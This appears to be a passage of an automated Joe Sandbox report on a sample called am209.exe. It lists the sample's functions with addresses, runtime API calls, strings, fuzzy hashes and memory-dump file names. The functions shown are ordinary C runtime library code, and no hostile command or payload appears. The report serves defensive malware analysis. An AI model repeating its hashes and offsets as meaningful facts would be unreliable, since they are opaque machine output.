__Xtime_diff_to_millis2.LIBCPMT ref: 00148DC9
_xtime_get.LIBCPMT ref: 00148DEC
GetCurrentThreadId.KERNEL32 ref: 00148DF6
GetCurrentThreadId.KERNEL32 ref: 00148E2D

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID:
API String ID: 3943753294-0
Opcode ID: 3d58c39b6ce16c74ac30dc97049dffe85876459b179c7f237205a96f1aa0aa8f
Instruction ID: 5801943fb6b91596d51bfdcc32c4ac8156378b02c45b9195b4ac3677f074249c
Opcode Fuzzy Hash: 3d58c39b6ce16c74ac30dc97049dffe85876459b179c7f237205a96f1aa0aa8f
Instruction Fuzzy Hash: 83517B31D01215DFDF10DFA8D9819ADB7F4AF19310B25846AE90AEB6A1CB30ED80CF64

Function 00142690 Relevance: 12.3, APIs: 8, Instructions: 343COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00142757
std::_Rethrow_future_exception.LIBCPMT ref: 001427A4
std::_Rethrow_future_exception.LIBCPMT ref: 001427B4
__Mtx_unlock.LIBCPMT ref: 0014284B
__Mtx_unlock.LIBCPMT ref: 00142944
__Mtx_unlock.LIBCPMT ref: 00142992
__Cnd_broadcast.LIBCPMT ref: 001429DC
__Mtx_unlock.LIBCPMT ref: 001429E5

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$Cnd_broadcast
String ID:
API String ID: 3990724213-0
Opcode ID: 8066b9b064f759bb274f0bbfb1b49643e263442c3a0377392f2b42a1f78fe78f
Instruction ID: de55141ceb9d77c722d6c6f7a0c270349af3688fb46cc61908002e2309bf93bb
Opcode Fuzzy Hash: 8066b9b064f759bb274f0bbfb1b49643e263442c3a0377392f2b42a1f78fe78f
Instruction Fuzzy Hash: 35B115B1D00209AFDB21DF64C845BAEBBF4FF15314F50452DF816976A2DB31A984CBA1

Function 001496F6 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0014973F
__alloca_probe_16.LIBCMT ref: 0014976B
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 001497AA
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001497C7
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00149806
__alloca_probe_16.LIBCMT ref: 00149823
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00149865
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00149888

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 71999bd34597b1c48faba0b295ad91bf99baef465631937bf9c64013e8153167
Instruction ID: 5d2fb81808a81b3975b5252492896b9af9718bca24eb64d78c8008a0e4ce3719
Opcode Fuzzy Hash: 71999bd34597b1c48faba0b295ad91bf99baef465631937bf9c64013e8153167
Instruction Fuzzy Hash: 3851CE7291020ABBEF209FA9CC45FAB7BB9EF45790F254029F914DA160E735CC50CBA0

Function 00155890 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00156CF0: GetLastError.KERNEL32(?,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156CF5
Part of subcall function 00156CF0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156D93

_free.LIBCMT ref: 00155B7B
_free.LIBCMT ref: 00155B94
_free.LIBCMT ref: 00155BD2
_free.LIBCMT ref: 00155BDB
_free.LIBCMT ref: 00155BE7

Strings

C, xrefs: 001559EC

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 0ed78919ce21e741476d62c3690c0e308fad13cab75b675b5703f2aa19c3f5d7
Instruction ID: e57585eb1a8548ed9c926887cf09f0aeb3f9472bf9281f3726f50c422fb19b26
Opcode Fuzzy Hash: 0ed78919ce21e741476d62c3690c0e308fad13cab75b675b5703f2aa19c3f5d7
Instruction Fuzzy Hash: 44B19C75901619DFDB24DF18C898AADB3B6FF58315F1045AEE819AB350E730AE94CF80

Function 00132260 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

list too long, xrefs: 001326F9

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: 9954230189ba5c1011afc16574023c252626d824735e1b3167191adc43c0a2f2
Instruction ID: 565f59d26b95666f5478e9acb95faa4da67ef72778b1fb2a36af6cc6e2eeeeaa
Opcode Fuzzy Hash: 9954230189ba5c1011afc16574023c252626d824735e1b3167191adc43c0a2f2
Instruction Fuzzy Hash: A351A3B1D04758ABDB20EF64CD89B9AF7B4FF14310F1442A9E80CA7291DB70AA85CF55

Function 0014C710 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0014C747
___except_validate_context_record.LIBVCRUNTIME ref: 0014C74F
_ValidateLocalCookies.LIBCMT ref: 0014C7D8
__IsNonwritableInCurrentImage.LIBCMT ref: 0014C803
_ValidateLocalCookies.LIBCMT ref: 0014C858

Strings

csm, xrefs: 0014C7ED

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: bff86118f3c848856f38881a48768487e10744130fa5551d1c91e724ea26f303
Instruction ID: 7be483d4c1cd66bf95a2b2d11b731ba9957b0ef1b6a0a6c95515f9a62e6da4b6
Opcode Fuzzy Hash: bff86118f3c848856f38881a48768487e10744130fa5551d1c91e724ea26f303
Instruction Fuzzy Hash: A741D234A01219ABCF00DF68C885A9EBBB5EF44328F148155E9189B3A2D731EA52CFD0

Function 001585A5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 001585FC
ext-ms-, xrefs: 00158610

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e565ff2d72d5ee993822d93fe22f60e0bad249f09d2cfc67d240181bee1a4e50
Instruction ID: 446265bd4584a3b8838ec6017570b4b0d98b27d2c334a33248e43674e0a128b3
Opcode Fuzzy Hash: e565ff2d72d5ee993822d93fe22f60e0bad249f09d2cfc67d240181bee1a4e50
Instruction Fuzzy Hash: A121B471A01221EBDB319B389C85A2A77789F157A2F250510ED3AFF291EF70DD4886E0

Function 00161306 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00161052: _free.LIBCMT ref: 00161077

_free.LIBCMT ref: 00161354

Part of subcall function 001580D6: HeapFree.KERNEL32(00000000,00000000,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?), ref: 001580EC
Part of subcall function 001580D6: GetLastError.KERNEL32(?,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?,?), ref: 001580FE

_free.LIBCMT ref: 0016135F
_free.LIBCMT ref: 0016136A
_free.LIBCMT ref: 001613BE
_free.LIBCMT ref: 001613C9
_free.LIBCMT ref: 001613D4
_free.LIBCMT ref: 001613DF

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8e077332dbe01b7341d50a84b951b88c6f42d95a84fc469bf2f7f0e4c6a3109e
Instruction ID: 882d16b743da92b3ce90e5fc94a58be87dd02382be61fd1d10c3b0be202869a6
Opcode Fuzzy Hash: 8e077332dbe01b7341d50a84b951b88c6f42d95a84fc469bf2f7f0e4c6a3109e
Instruction Fuzzy Hash: 4D117F31942B44FADA30BFB0CD07FDB779C6F10700F444C25B6AA7A092DB24F5594691

Function 0015768F Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 001576D7
__fassign.LIBCMT ref: 001578BC
__fassign.LIBCMT ref: 001578D9
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00157921
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00157961
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00157A09

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: fe739306612901c96136dcfe761f86d3b775edddf3735df4ad876f88da340327
Instruction ID: 736d405df65a8f77b0333b0f6307af7d052141598916efde57708c48178cb915
Opcode Fuzzy Hash: fe739306612901c96136dcfe761f86d3b775edddf3735df4ad876f88da340327
Instruction Fuzzy Hash: 72C1A075D04258DFCB15CFA8D8859EDBBB5AF08314F28416AE865FB381E7309E46CB60

Function 001446A0 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001446D5
std::_Lockit::_Lockit.LIBCPMT ref: 001446F7
std::_Lockit::~_Lockit.LIBCPMT ref: 00144717
__Getctype.LIBCPMT ref: 001447AD
std::_Facet_Register.LIBCPMT ref: 001447CC
std::_Lockit::~_Lockit.LIBCPMT ref: 001447E4

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 93f0b740f3e8e36774bb1180bf59545b25ef93603bb21cb275f4b14a743b98b5
Instruction ID: e25988d39b28a88f512275abca5d5fa5930be0c7e7a0aecd8540d89f9baa657e
Opcode Fuzzy Hash: 93f0b740f3e8e36774bb1180bf59545b25ef93603bb21cb275f4b14a743b98b5
Instruction Fuzzy Hash: B541D3719002558FCB25DF94C841BAEB7F4FF65710F24826DE805AB762DB30AE42CB91

Function 0014C8D4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0014C8CB,0014AF64,00147C79,63240FED,?,?,?,00000000,0016C8A7,000000FF,?,00122576,?,?), ref: 0014C8E2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0014C8F0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0014C909
SetLastError.KERNEL32(00000000,?,00000000,0016C8A7,000000FF,?,00122576,?,?,?,00123BA5,00000000,?,00000000,0016C240,000000FF), ref: 0014C95B

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cd1a7445fe695e133c1820f88440bcf0b27ed7e442906c1fe5510c6a90d2673c
Instruction ID: b1ba0116106da207ae9413c18a4600032ec9a6ec638f275e323b703848c60229
Opcode Fuzzy Hash: cd1a7445fe695e133c1820f88440bcf0b27ed7e442906c1fe5510c6a90d2673c
Instruction Fuzzy Hash: 8B01283310E3127EEA542674BC8A5672654EB61B7A7300339F910854F3EF114D4153C4

Function 0015F567 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, xrefs: 0015F56C

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
API String ID: 0-2442224498
Opcode ID: 3c70b91c78e1b81cbf2974bf119a52cfa5c448571de1688a22071961f84368cf
Instruction ID: e9293a866b16d54fd7556ffc5a271a1482a7b4dccacb09aa9d01457fff5c5b02
Opcode Fuzzy Hash: 3c70b91c78e1b81cbf2974bf119a52cfa5c448571de1688a22071961f84368cf
Instruction Fuzzy Hash: BF21C275600205FF9B11AF748C80A6B77ADEF65366B104528FD35DF160EB30ED4A87A0

Function 0014D927 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,0014D9E8,?,?,00000000,?,?,0014DA9A,00000002,FlsGetValue,001733D8,001733E0,?), ref: 0014D9B7

Strings

api-ms-, xrefs: 0014D977

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 0f44be1f004c9c2925a4da1e7e4d42ab5810870eab7292e699c7e1191ee0a2a9
Instruction ID: eb7191e5fd98a6d37fbcb86c54f8c02492ed5fdc154c8c5ec685bb9c1cec97e4
Opcode Fuzzy Hash: 0f44be1f004c9c2925a4da1e7e4d42ab5810870eab7292e699c7e1191ee0a2a9
Instruction Fuzzy Hash: 53118632A41622BBDF225B68EC41B5E73A4AF41774F250251ED15EB2A0D770ED4086D2

Function 0014DDC2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0014DDB7,?,?,0014DD7F,?,?,?), ref: 0014DDD7
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0014DDEA
FreeLibrary.KERNEL32(00000000,?,?,0014DDB7,?,?,0014DD7F,?,?,?), ref: 0014DE0D

Strings

mscoree.dll, xrefs: 0014DDD0
CorExitProcess, xrefs: 0014DDE2

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 777a38bcee37328d985d42df3ace5761d85926a49973f7ba1d0452414ead2476
Instruction ID: 04e30b2811d2fb9cec9ecdf00bd035fc2df879d293ea03ebc92b9eaaab5ba781
Opcode Fuzzy Hash: 777a38bcee37328d985d42df3ace5761d85926a49973f7ba1d0452414ead2476
Instruction Fuzzy Hash: B1F01231640219FBDF129B54ED0AB9E7AB9EB00755F1040A4F509B55B0CB708F80DA90

Function 0016785C Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00BEFB80,00BEFB80,?,7FFFFFFF,?,?,00167B18,00BEFB80,00BEFB80,?,00BEFB80,?,?,?,?,00BEFB80), ref: 001678FF
__alloca_probe_16.LIBCMT ref: 001679B5
__alloca_probe_16.LIBCMT ref: 00167A4B
__freea.LIBCMT ref: 00167AB6
__freea.LIBCMT ref: 00167AC2

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: f3f45a02ddcf4794904cfb86581a0d90ef87517e1f26a23c69516946df7a99bb
Instruction ID: 514c74f1dc14e44c95c7b1007121d6f720d54e53cc7bf0b2da7a3f98e9897291
Opcode Fuzzy Hash: f3f45a02ddcf4794904cfb86581a0d90ef87517e1f26a23c69516946df7a99bb
Instruction Fuzzy Hash: C981B272D0820AABDF209EA4CC41EFE7BF9AF09728F190555E854BB2D1D721DD60C7A0

Function 0015C356 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0015C3DA
__alloca_probe_16.LIBCMT ref: 0015C4A0
__freea.LIBCMT ref: 0015C50C

Part of subcall function 00158305: HeapAlloc.KERNEL32(00000000,?,?,?,0015FA70,00000220,?,?,?,?,?,?,0014EFF2,?), ref: 00158337

__freea.LIBCMT ref: 0015C515
__freea.LIBCMT ref: 0015C538

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 1c2e70caa70792a3fa8ae17220b765d3d188fc9942b5c72e8cb76923a540aaf5
Instruction ID: ccf484aabad0018d90aa9d688c5353a6c85b1ebc0475dfc8501534bafc4a865e
Opcode Fuzzy Hash: 1c2e70caa70792a3fa8ae17220b765d3d188fc9942b5c72e8cb76923a540aaf5
Instruction Fuzzy Hash: 1A51D372600306EFEB259EA4CC85EBB37A9EF90751F154129FC24AF150EB70DC0596E0

Function 00155405 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00158305: HeapAlloc.KERNEL32(00000000,?,?,?,0015FA70,00000220,?,?,?,?,?,?,0014EFF2,?), ref: 00158337

_free.LIBCMT ref: 00155514
_free.LIBCMT ref: 0015552B
_free.LIBCMT ref: 00155548
_free.LIBCMT ref: 00155563
_free.LIBCMT ref: 0015557A

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$AllocHeap
String ID:
API String ID: 1835388192-0
Opcode ID: d444b71e55fa47c1eca0da4a7de45e56905690a8a8be38797216f106f953ba7f
Instruction ID: 6b402b20e16169a591ded7d0e1e6d20b0a0f52ed9f57b6c2a03e07bc00e6e9d9
Opcode Fuzzy Hash: d444b71e55fa47c1eca0da4a7de45e56905690a8a8be38797216f106f953ba7f
Instruction Fuzzy Hash: 3351D031A00A04DFDB21DF69C851A6A77F6FF54722B144569EC29EF290E730EA488B80

Function 00147030 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001471B9
__Mtx_unlock.LIBCPMT ref: 001471CA
__Cnd_broadcast.LIBCPMT ref: 001471F0
__Mtx_unlock.LIBCPMT ref: 001471F6
Concurrency::cancel_current_task.LIBCPMT ref: 0014723F

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID:
API String ID: 3354401312-0
Opcode ID: eb7761984f5833d41772f450c2badf824657c350a937b288146f90ee9a0c4e57
Instruction ID: d213bf705e5320d9a9e8c6d51c7de93bd04a86fe3cfc619297a199a79ea6e067
Opcode Fuzzy Hash: eb7761984f5833d41772f450c2badf824657c350a937b288146f90ee9a0c4e57
Instruction Fuzzy Hash: E6617EB0E01219DFDF10DFA4C944BAEBBF8BF15304F144169E805AB692DB75AA05CBA1

Function 0015072C Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0015065E), ref: 0015074E
GetFileInformationByHandle.KERNEL32(?,?), ref: 001507A8
